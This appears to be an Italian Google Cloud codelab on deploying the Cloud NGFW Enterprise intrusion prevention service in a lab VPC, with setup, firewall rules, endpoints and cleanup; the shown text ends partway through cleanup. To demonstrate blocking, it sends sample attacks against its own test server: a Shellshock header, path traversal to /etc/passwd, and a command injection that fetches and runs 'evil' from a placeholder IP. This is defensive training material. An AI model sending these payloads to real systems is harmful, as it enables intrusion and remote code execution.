Cloud NGFW Enterprise - Servizio di prevenzione delle intrusioni (senza ispezione TLS)

1. Introduzione

Firewall Cloud Next Generation (NGFW)

Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, micro-segmentazione e copertura pervasiva per proteggere i carichi di lavoro Google Cloud da attacchi interni ed esterni.

Cloud NGFW offre i seguenti vantaggi:

  • Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione stateful, completamente distribuita e basata su host, su ciascun carico di lavoro per abilitare un'architettura di sicurezza Zero Trust.
  • Configurazione e deployment semplificati: Cloud NGFW implementa criteri firewall di rete e gerarchici che possono essere collegati a un nodo della gerarchia delle risorse. Questi criteri forniscono un'esperienza firewall coerente in tutta la gerarchia delle risorse Google Cloud.
  • Controllo granulare e micro-segmentazione: la combinazione di criteri firewall e tag regolati da Identity and Access Management (IAM) offre un controllo granulare per il traffico sia nord-sud che est-ovest, fino a una singola VM, su reti e organizzazioni Virtual Private Cloud (VPC).

Cloud NGFW è disponibile nei seguenti livelli:

Cloud NGFW per le aziende

Cloud NGFW Enterprise aggiunge Intrusion Prevention Service (IPS), una funzionalità di livello 7, all'infrastruttura firewall distribuita di Google Cloud. L'ispezione TLS è supportata per consentire l'ispezione del traffico criptato con TLS, ma non rientra nell'ambito di questo codelab (vedi Codelab aziendale di Cloud NGFW con ispezione TLS).

Ora puoi eseguire il deployment di ispezioni affidabili Layer 7 Next Generation Firewall (NGFW) con controlli granulari, senza apportare modifiche all'architettura di rete o alle configurazioni di routing.

Per attivare ed eseguire il deployment del controllo firewall di livello 7 con IPS, devi eseguire le seguenti attività:

  • Creare un insieme di endpoint firewall di zona gestiti di Google Cloud.
  • Facoltativamente, crea un criterio di ispezione TLS (non trattato in questo codelab)
  • Facoltativamente, crea una configurazione di attendibilità (non trattato in questo codelab)
  • Associa questi endpoint alle reti Virtual Private Cloud (VPC) in cui è necessario il servizio Cloud NGFW Enterprise.
  • Apporta semplici modifiche ai criteri firewall e alle regole firewall esistenti per specificare i profili di prevenzione delle minacce per i vari percorsi di traffico.

Criteri del firewall di rete

Il criterio firewall di rete agisce da container per le regole firewall. Le regole definite in un criterio firewall di rete non vengono applicate in nessuna posizione finché il criterio non viene associato a una rete VPC. A ogni rete VPC può essere associato un criterio firewall di rete. I criteri firewall di rete supportano i tag gestiti da IAM (o solo i tag) nelle regole firewall, che sostituiscono i tag di rete attuali e possono essere utilizzati per fornire l'identità al carico di lavoro.

La condivisione di un criterio firewall di rete tra le reti e l'integrazione con tag disciplinati da IAM semplificano notevolmente la configurazione e la gestione dei firewall.

Con l'introduzione dei criteri firewall di rete, i criteri firewall di Google Cloud sono ora costituiti dai seguenti componenti:

  1. Criterio firewall gerarchico
  2. Regole firewall VPC
  3. Criterio firewall di rete ( globale e a livello di regione)

I criteri firewall gerarchici sono supportati nei nodi dell'organizzazione e delle cartelle all'interno della gerarchia delle risorse, mentre le regole firewall VPC e i criteri firewall di rete vengono applicati a livello di VPC. Una grande differenza tra le regole firewall VPC e i criteri firewall di rete è che le regole firewall VPC possono essere applicate solo a una singola rete VPC, mentre i criteri firewall di rete possono essere collegati a un singolo VPC o gruppo di VPC, oltre ad altri vantaggi come gli aggiornamenti batch.

Infine, abbiamo anche le regole firewall implicite che vengono fornite in ogni rete VPC:

  • Una regola in uscita la cui azione è allow, la destinazione è 0.0.0.0/0
  • Una regola in entrata la cui azione è negazione. L'origine è 0.0.0.0/0

Per impostazione predefinita, la sequenza di applicazione è mostrata nel seguente diagramma:

21b3bcabc469ffe.png

Tieni presente che l'ordine di applicazione tra le regole firewall VPC e il criterio firewall di rete globale può essere scambiato. I clienti possono specificare l'ingiunzione di applicazione in qualsiasi momento con un comando gcloud.

Tag gestiti da IAM

I nuovi tag integrati nelle regole dei criteri firewall di rete sono risorse di coppie chiave-valore definite a livello di organizzazione o a livello di progetto nella gerarchia delle risorse Google Cloud. Un tag di questo tipo contiene un controllo di accesso IAM, come suggerisce il nome, che specifica chi può fare cosa sul tag. Le autorizzazioni IAM, ad esempio, consentono di specificare quali entità possono assegnare valori ai tag e quali possono collegare tag alle risorse. Una volta applicato un tag a una risorsa, le regole del firewall di rete possono utilizzarlo per consentire e negare il traffico.

I tag rispettano il modello di risorse di ereditarietà di Google Cloud, il che significa che i tag e i relativi valori vengono trasmessi dai rispettivi elementi padre nella gerarchia. Di conseguenza, i tag possono essere creati in una posizione e utilizzati da altre cartelle e progetti in tutta la gerarchia delle risorse. Visita questa pagina per informazioni dettagliate sui tag e sulle limitazioni di accesso.

I tag non devono essere confusi con i tag di rete. Le ultime sono stringhe che possono essere aggiunte alle istanze di Compute Engine. vengono associate all'istanza e scompaiono quando l'istanza viene dismessa. Le regole firewall VPC possono includere tag di rete, ma poiché non sono considerate risorse cloud, non sono soggette al controllo degli accessi IAM.

Tieni presente che i tag e i tag gestiti da IAM vengono utilizzati in modo intercambiabile in questo documento.

Cosa creerai

Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC con connettività pubblica. Inoltre, dimostrerà in che modo Cloud NGFW Enterprise può fornire funzionalità IPS tramite:

  • Ispezione dei flussi intra-VPC/subnet [Est-Ovest]
  • Ispezione dei flussi in entrata da internet [nord-sud]

I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, inclusi i parametri a 5 tuple (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione) e tag. L'ispezione TLS non è inclusa in questo codelab.

52a0642ef8668ecf.png

La regola del criterio firewall di rete sarà simile alla tabella seguente:

Priorità

Direzione

Target

Origine

Destinazione

Azione

Tipo

100

In uscita

Quarantine_Tag

Qualsiasi

Qualsiasi

Nega

Essentials

1000

In entrata

Server_Tag

Intervalli per controllo di integrità

Qualsiasi

Consenti

Essentials

2000

In entrata

Qualsiasi

Intervalli Identity-Aware Proxy

Qualsiasi

Consenti

Essentials

3000

In entrata

Qualsiasi

Dati geografici, GCTI

Qualsiasi

Nega

Standard

4000

In uscita

Qualsiasi

Qualsiasi

Dati geografici, GCTI

Nega

Standard

5000

In uscita

Qualsiasi

Qualsiasi

Nomi di dominio completi dell'aggiornamento di sistema

Consenti

Standard

6000

In entrata

Server_Tag

10.0.0.0/24

Qualsiasi

IPS

Enterprise

7000

In entrata

Server_Tag

CloudNAT_IP

Qualsiasi

IPS

Enterprise

Cosa imparerai a fare

Che cosa ti serve

  • Progetto Google Cloud
  • Conoscenza della distribuzione delle istanze e della configurazione dei componenti di networking
  • Conoscenza della configurazione del firewall VPC

2. Prima di iniziare

Crea/aggiorna variabili

Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione di gcloud in Cloud Shell.

In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi come richiesto (ignora l'impostazione del progetto se quello desiderato è già impostato). Per le risorse a livello di organizzazione viene utilizzata una variabile diversa nel caso in cui più variabili (ad es. sono necessari endpoint firewall.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Abilita API

Abilita le API se non lo hai già fatto:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creazione del profilo di sicurezza aziendale e degli endpoint di Cloud NGFW

Poiché la creazione dell'endpoint Enterprise di Cloud NGFW richiede circa 20 minuti, verrà creato prima e la configurazione di base potrà essere eseguita in parallelo durante la creazione dell'endpoint.

Crea il profilo di sicurezza e il gruppo di profili di sicurezza:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Output previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Verifica che le risorse siano state create correttamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Output previsto:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crea l'endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Esegui il comando riportato di seguito per confermare che l'endpoint è in fase di creazione (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato di output può variare a seconda del client utilizzato):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Il processo di creazione dell'endpoint richiede circa 20 minuti. Passa alla sezione Configurazione di base per creare le risorse richieste in parallelo.

5. Configurazione di base

Procedi alle sezioni seguenti se preferisci creare manualmente le risorse di base.

Rete e subnet VPC

Rete e subnet VPC

Crea la rete VPC e la subnet:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea i router Cloud e i gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Istanze

Crea le istanze client e server web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tag a livello di progetto

Se necessario, assegna le autorizzazioni tagAdmin e/o tagUser all'utente:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crea la chiave e i valori del tag a livello di progetto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Associa i tag alle istanze:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Criterio del firewall di rete globale

Crea criterio firewall di rete globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crea regole essenziali di Cloud Firewall per negare il traffico proveniente da istanze in quarantena (create solo a titolo di esempio, non utilizzate in questo codelab) e consentire il traffico dagli intervalli health-check e identity-aware:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

creare regole firewall standard di Cloud per negare il traffico in entrata e in uscita da/verso paesi sottoposti a embargo, IP dannosi noti e nodi di uscita ToR; e consentire solo il traffico in uscita verso nomi di dominio completi specifici per gli aggiornamenti di sistema (creati solo come esempio, non utilizzati in questo codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crea regole firewall Cloud per consentire il traffico in entrata verso est-ovest / intra-subnet e nord-sud / internet dagli intervalli specifici (queste regole verranno aggiornate per abilitare Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associa il criterio firewall di rete alla rete VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Bilanciatore del carico di rete TCP/UDP esterno

Prenota un indirizzo IP esterno e crea il gruppo di istanze e il controllo di integrità:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crea il servizio di backend e la regola di forwarding:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Associazione degli endpoint aziendali Cloud NGFW

Se necessario, ridefinisci le variabili di ambiente.

Conferma che la creazione dell'endpoint firewall Cloud sia stata completata. Procedi solo dopo che lo stato risulta ATTIVO (durante la creazione lo stato previsto è CREAZIONE IN CORSO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato di output può variare a seconda del client utilizzato):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Output previsto:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associa l'endpoint Cloud NGFW Enterprise alla rete VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

La procedura di associazione richiede circa 10 minuti. Procedi solo dopo che lo stato risulta ATTIVO (lo stato previsto è CREAZIONE in corso durante il processo di creazione):

gcloud network-security firewall-endpoint-associations list

Output previsto:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Facoltativamente, esegui il comando seguente per ottenere ulteriori dettagli:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Output previsto:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Regole di ispezione aziendale di Cloud NGFW

Apri una nuova scheda e avvia una connessione SSH alla VM client tramite IAP (dovrai definire di nuovo le variabili nella nuova scheda):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Definisci le variabili obbligatorie nella sessione SSH e imposta le variabili (assicurati che i valori siano corretti):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl per confermare che siano raggiungibili:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Risultato previsto per entrambe le richieste curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Invia attacchi di esempio all'IP del server interno (traffico est-ovest / intra-VPC). Il server web deve rispondere a tutte le richieste, confermando che non sia attiva un'ispezione/prevenzione L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Invia di nuovo gli attacchi di esempio all'IP del server esterno tramite Cloud NAT (traffico in entrata nord-sud). Allo stesso modo, il server web dovrebbe rispondere a tutte le richieste:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Risultati previsti per gli IP pubblici e privati:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Torna a Cloud Shell e aggiorna le regole in entrata esistenti per abilitare l'ispezione L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Facoltativamente, descrivi le regole firewall per verificare che entrambi siano stati aggiornati correttamente:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output previsto:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regola 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Output previsto:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Torna alla VM client e invia di nuovo gli attacchi di esempio all'IP del server interno (ispezione est-ovest / intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Invia nuovamente gli attacchi di esempio all'IP del server esterno tramite Cloud NAT (ispezione in entrata Nord-Sud):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Non vengono ricevute risposte per i primi attacchi secondo l'output previsto di seguito, a conferma del fatto che gli attacchi ad alta gravità sono ora bloccati.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Vai a Sicurezza di rete > Minacce nella console Cloud per verificare i log (potrebbe essere necessario aggiornare alcune volte gli attacchi non ancora visualizzati).

daa535fcc34873aa.png

Scegli uno degli attacchi e fai clic su "Visualizza audit log" sul lato destro (si apre in una nuova scheda per tornare facilmente alla versione precedente). Espandi l’attacco per mostrare i dettagli:

5f97cdef79e42eff.png

Facoltativamente, sostituisci il filtro di Esplora log con la query seguente:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Le voci del log delle minacce devono essere considerate come segue:

5ea9581a7eb694c5.png

I pacchetti intercettati da Cloud Firewall possono essere verificati utilizzando il filtro Esplora log riportato di seguito (utile per la risoluzione dei problemi):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Continua con l'ispezione del traffico internet (facoltativo) o chiudi la sessione SSH e vai al capitolo successivo per la procedura di pulizia.

[Facoltativo] Ispezione del traffico internet

Come verificato nella sezione precedente, i flussi ispezionati finora sono intra-subnet/VPC (est-ovest) e traffico in entrata da internet (in entrata nord-sud). Cloud NGFW Enterprise può anche essere configurato per ispezionare tutto il traffico internet (in uscita nord-sud) creando una nuova regola in uscita utilizzando Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Torna alla VM client e invia di nuovo gli attacchi ad alta gravità all'IP del server esterno:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Output previsto:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Passa alla scheda Minacce su Cloud Console per verificare i log (potrebbe essere necessario aggiornare alcune volte). Gli attacchi dovrebbero essere stati identificati e registrati di nuovo, ma ora l'IP di origine è interno perché viene attivata prima una regola in uscita:

36f8edf264dcddcd.png

Chiudi la sessione SSH e passa alla sezione successiva con i passaggi di pulizia.

8. Passaggi per la pulizia

Pulizia dei componenti aziendali di Cloud NGFW

Elenca le associazioni Cloud NGFW Enterprise esistenti:

gcloud network-security firewall-endpoint-associations list

Elimina l'associazione Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Elenca gli endpoint Cloud NGFW Enterprise esistenti:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Elimina l'endpoint Cloud NGFW Enterprise, che può richiedere circa 20 minuti:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Verifica che Cloud NGFW Enterprise sia stato eliminato eseguendo il comando seguente:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Elimina il gruppo di profili di sicurezza e il profilo di prevenzione delle minacce:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Pulizia della configurazione di base

Vai al passaggio successivo se preferisci eliminare le risorse di base.

Definisci le variabili di ambiente, se necessario. Da Cloud Shell, elimina i componenti del bilanciatore del carico di rete:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Rimuovi istanze:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

